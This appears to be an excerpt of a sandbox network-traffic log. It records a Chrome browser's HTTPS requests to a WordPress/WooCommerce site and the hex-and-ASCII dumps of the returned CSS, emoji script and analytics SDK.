2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 5f 5f 72 61 6e 67 65 2d 69 6e 70 75 74 2d 77 72 61 70 70 65 72 3e 2a 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 5f 5f 61 6d 6f 75 6e 74 3e 2a 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 5f 5f 62 75 74 74 6f 6e 3e 2a 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d Data Ascii: ck-components-price-slider__range-input-wrapper>,.wc-block-components-price-slider.is-loading .wc-block-components-price-slider__amount>,.wc-block-components-price-slider.is-loading .wc-block-components-price-slider__button>*,.wc-block-components-price-
2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 69 6e 70 75 74 2d 77 72 61 70 70 65 72 3e 2a 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 5f 5f 72 61 6e 67 65 2d 69 6e 70 75 74 2d 77 72 61 70 70 65 72 3e 2a 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 2e 69 73 2d 64 69 73 61 62 6c 65 64 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 69 63 65 2d 73 6c 69 64 65 72 5f 5f 72 61 6e 67 65 2d 69 6e 70 75 74 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f Data Ascii: input-wrapper>,.wc-block-components-price-slider.is-loading .wc-block-components-price-slider__range-input-wrapper>{visibility:hidden}.wc-block-components-price-slider.is-disabled .wc-block-components-price-slider__range-input-wrapper:after,.wc-block-co
2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 73 2d 71 75 61 6e 74 69 74 79 2d 73 65 6c 65 63 74 6f 72 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 71 75 61 6e 74 69 74 79 2d 73 65 6c 65 63 74 6f 72 5f 5f 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 66 6f 63 75 73 2c 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 71 75 61 6e 74 69 74 79 2d 73 65 6c 65 63 74 6f 72 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 71 75 61 6e 74 69 74 79 2d 73 65 6c 65 63 74 6f 72 5f 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 32 70 78 20 73 6f 6c 69 64 20 23 64 64 64 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 71 75 61 6e 74 69 74 79 2d 73 65 6c 65 63 74 6f 72 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e Data Ascii: s-quantity-selector .wc-block-components-quantity-selector__button:focus:focus,.wc-block-components-quantity-selector .wc-block-components-quantity-selector__button:hover:focus{outline:2px solid #ddd}.wc-block-components-quantity-selector .wc-block-compon
2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 73 6f 72 74 2d 73 65 6c 65 63 74 5f 5f 73 65 6c 65 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 77 69 64 74 68 3a 2d 77 65 62 6b 69 74 2d 6d 61 78 2d 63 6f 6e 74 65 6e 74 3b 77 69 64 74 68 3a 2d 6d 6f 7a 2d 6d 61 78 2d 63 6f 6e 74 65 6e 74 3b 77 69 64 74 68 3a 6d 61 78 2d 63 6f 6e 74 65 6e 74 7d 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 73 70 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 62 6f 78 2d 73 69 7a Data Ascii: ;display:inline-block;font-weight:400}.wc-block-components-sort-select__select{font-size:inherit;width:-webkit-max-content;width:-moz-max-content;width:max-content}.wc-block-components-spinner{position:absolute;width:100%;height:100%;color:inherit;box-siz
2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 6c 65 2e 77 63 2d 62 6c 6f 63 6b 2d 63 61 72 74 2d 69 74 65 6d 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 61 72 74 2d 69 74 65 6d 73 5f 5f 72 6f 77 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 6f 64 75 63 74 2d 6e 61 6d 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 2d 77 65 62 6b 69 74 2d 6d 61 78 2d 63 6f 6e 74 65 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 2d 6d 6f 7a 2d 6d 61 78 2d 63 6f 6e 74 65 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 6d 61 78 2d 63 6f 6e 74 65 6e 74 7d 2e 65 64 69 74 6f 72 2d 73 74 79 6c 65 73 2d 77 72 61 70 70 65 72 20 74 61 62 6c 65 2e 77 63 2d 62 6c 6f 63 6b 2d 63 61 72 74 2d 69 74 65 6d 73 20 2e 77 63 2d 62 6c 6f 63 6b 2d 63 61 72 74 2d 69 74 65 6d 73 5f 5f 72 6f 77 20 2e 77 63 2d Data Ascii: le.wc-block-cart-items .wc-block-cart-items__row .wc-block-components-product-name{display:block;max-width:-webkit-max-content;max-width:-moz-max-content;max-width:max-content}.editor-styles-wrapper table.wc-block-cart-items .wc-block-cart-items__row .wc-
2025-01-15 02:37:07 UTC	16384	IN	Data Raw: 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 61 72 74 2e 69 73 2d 6c 6f 61 64 69 6e 67 20 2e 77 70 2d 62 6c 6f 63 6b 2d 77 6f 6f 63 6f Data Ascii: parent!important;width:100%;border-radius:.25rem;display:block;line-height:1;position:relative!important;overflow:hidden!important;max-width:100%!important;pointer-events:none;box-shadow:none;z-index:1}.wp-block-woocommerce-cart.is-loading .wp-block-wooco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49768	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:07 UTC	613	OUT	GET /wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:07 UTC	412	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:07 GMT Content-Type: text/css Content-Length: 1628 Last-Modified: Thu, 09 Jan 2025 03:12:42 GMT Connection: close Vary: Accept-Encoding ETag: "677f3eaa-65c" Expires: Thu, 15 Jan 2026 02:37:07 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:07 UTC	1628	IN	Data Raw: 2e 70 61 6e 65 6c 2d 67 72 69 64 2e 70 61 6e 65 6c 2d 68 61 73 2d 73 74 79 6c 65 3e 2e 70 61 6e 65 6c 2d 72 6f 77 2d 73 74 79 6c 65 2c 2e 70 61 6e 65 6c 2d 67 72 69 64 2e 70 61 6e 65 6c 2d 6e 6f 2d 73 74 79 6c 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 2d 6d 73 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 70 61 6e 65 6c 2d 67 72 69 64 20 2e 73 6f 2d 70 61 72 61 6c 6c 61 78 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 70 61 6e 65 6c 2d 67 72 69 64 20 2e 73 6f 2d 70 61 72 61 6c 6c 61 78 3e 3a 6e Data Ascii: .panel-grid.panel-has-style>.panel-row-style,.panel-grid.panel-no-style{display:flex;-ms-flex-wrap:wrap;flex-wrap:nowrap;-ms-justify-content:space-between;justify-content:space-between}.panel-grid .so-parallax{position:relative}.panel-grid .so-parallax>:n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49769	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:07 UTC	389	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:07 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:07 GMT Content-Type: application/javascript Content-Length: 18617 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-48b9" Expires: Thu, 15 Jan 2026 02:37:07 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:07 UTC	15956	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2025-01-15 02:37:07 UTC	2661	IN	Data Raw: 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 31 2f 66 65 61 74 75 72 65 23 49 6d 61 67 65 22 2c 22 31 2e 31 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 21 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 2e 74 77 65 6d 6f 6a 69 29 72 65 74 75 72 6e 20 36 30 30 3c 72 3f 76 6f 69 64 20 30 3a 28 63 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 75 29 2c 75 3d 63 2e 73 65 74 54 69 6d 65 6f 75 74 28 73 2c 35 30 29 Data Ascii: ent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49770	148.153.240.68	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:07 UTC	537	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:08 UTC	473	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 02:37:07 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE3[144],EU-GER-frankfurt-EDGE7-CACHE3[ovl,142],EU-GER-frankfurt-EDGE5-CACHE3[ovl,141],CHN-HElangfang-GLOBAL6-CACHE111[ovl,17] X-CCDN-REQ-ID-46B1: acc83683cbc0607591617b35cde454b8
2025-01-15 02:37:08 UTC	15911	IN	Data Raw: 34 61 36 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: 4a6/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2025-01-15 02:37:08 UTC	16384	IN	Data Raw: 28 27 2e 27 2c 66 67 29 29 2c 30 78 61 29 3a 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 54 72 69 64 65 6e 74 2f 27 29 3e 30 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 Data Ascii: ('.',fg)),0xa):fi['indexOf']('Trident/')>0x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,f
2025-01-15 02:37:08 UTC	3732	IN	Data Raw: 41 74 74 72 69 62 75 74 65 27 5d 28 27 63 72 6f 73 73 6f 72 69 67 69 6e 27 2c 27 61 6e 6f 6e 79 6d 6f 75 73 27 29 2c 6a 6b 5b 27 73 65 74 41 74 74 72 69 62 75 74 65 27 5d 28 27 63 68 61 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 29 26 26 Data Ascii: Attribute']('crossorigin','anonymous'),jk['setAttribute']('charset','UTF-8'),document['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['readyState'])&&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49771	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:07 UTC	649	OUT	GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-layout.min.css?ver=3.7.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:07 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:07 GMT Content-Type: text/css Content-Length: 17307 Last-Modified: Mon, 07 Mar 2022 04:29:27 GMT Connection: close Vary: Accept-Encoding ETag: "62258a27-439b" Expires: Thu, 15 Jan 2026 02:37:07 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:07 UTC	15970	IN	Data Raw: 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 65 72 72 6f 72 20 2e 62 75 74 74 6f 6e 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 69 6e 66 6f 20 2e 62 75 74 74 6f 6e 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 65 73 73 61 67 65 20 2e 62 75 74 74 6f 6e 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 65 72 72 6f 72 20 2e 62 75 74 74 6f 6e 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 69 6e 66 6f 20 2e 62 75 74 74 6f 6e 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 65 73 73 61 67 65 20 2e 62 75 74 74 6f Data Ascii: .woocommerce .woocommerce-error .button,.woocommerce .woocommerce-info .button,.woocommerce .woocommerce-message .button,.woocommerce-page .woocommerce-error .button,.woocommerce-page .woocommerce-info .button,.woocommerce-page .woocommerce-message .butto
2025-01-15 02:37:07 UTC	1337	IN	Data Raw: 69 6e 67 2d 66 69 65 6c 64 73 3a 3a 61 66 74 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 69 6c 6c 69 6e 67 2d 66 69 65 6c 64 73 3a 3a 62 65 66 6f 72 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 68 69 70 70 69 6e 67 2d 66 69 65 6c 64 73 3a 3a 61 66 74 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 68 69 70 70 69 6e 67 2d 66 69 65 6c 64 73 3a 3a 62 65 66 6f 72 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 69 6c 6c 69 6e 67 2d 66 69 65 6c 64 73 3a 3a 61 66 74 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 69 6c 6c 69 Data Ascii: ing-fields::after,.woocommerce .woocommerce-billing-fields::before,.woocommerce .woocommerce-shipping-fields::after,.woocommerce .woocommerce-shipping-fields::before,.woocommerce-page .woocommerce-billing-fields::after,.woocommerce-page .woocommerce-billi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49772	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:07 UTC	642	OUT	GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce.min.css?ver=3.7.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:07 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:07 GMT Content-Type: text/css Content-Length: 104928 Last-Modified: Mon, 07 Mar 2022 04:29:27 GMT Connection: close Vary: Accept-Encoding ETag: "62258a27-199e0" Expires: Thu, 15 Jan 2026 02:37:07 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:07 UTC	15968	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 7b 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 74 61 72 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 73 74 61 72 2e 65 6f 74 22 29 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 2e 2e 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 73 74 61 72 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 Data Ascii: @charset "UTF-8";@keyframes spin{100%{transform:rotate(360deg)}}@font-face{font-family:star;src:url("../../../../../../../plugins/woocommerce/assets/fonts/star.eot");src:url("../../../../../../../plugins/woocommerce/assets/fonts/star.eot?#iefix") format("
